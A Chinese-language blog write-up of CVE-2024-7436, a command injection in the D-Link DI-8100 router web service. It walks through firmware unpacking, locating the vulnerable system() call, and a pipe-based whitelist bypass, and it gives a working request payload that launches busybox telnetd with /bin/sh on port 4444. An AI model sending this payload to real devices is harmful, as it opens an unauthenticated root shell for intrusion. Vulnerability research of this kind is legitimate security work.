CVE-2024-7436 D-Link DI-8100 命令执行漏洞分析
漏洞分析
下载固件后使用binwalk解包
1 | binwalk -Me DI_8100-16.07.26A1.zip |

进入解包后的目录
使用
1 | ./firmwalker.sh /home/blonet/下载/_DI_8100-16.07.26A1.zip.extracted/_DI_8100-16.07.26A1.trx.extracted/_8C.extracted/_3F8000.extracted/cpio-root |
查找到jhttpd文件

分析与jhttpd有关的rc
根据漏洞信息报告找到危险函数 system

执行v10,v10由v28而来

v28由v16拼接字符串

那么就有一个命令执行漏洞
再看前面的if条件

flag 是路由器,决定执行哪条命令
是cmd时才会执行漏洞函数
先看命令模板wys %s > /tmp/msp.info wys 里有一个命令表 gl_order_str
直接传 cmd=ls,wys 查表,表里没有ls,拒绝执行,no order,please help。
要用管道符 | 绕过
因为直接使用不了命令,也是通过丰富的经验知道通过busybox去调用
固件模拟
使用firmae模拟


进入到路由器管理页面(账号密码依旧丰富的经验,但也可以找到)

然后用bp拦截改数据:
1 | flag=cmd&cmd=|/bin/busybox%20telnetd%20-l%20/bin/sh%20-p%204444 |
发送

反弹shell
查看固件的busybox

有telnetd可以反弹shell

本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 我的博客!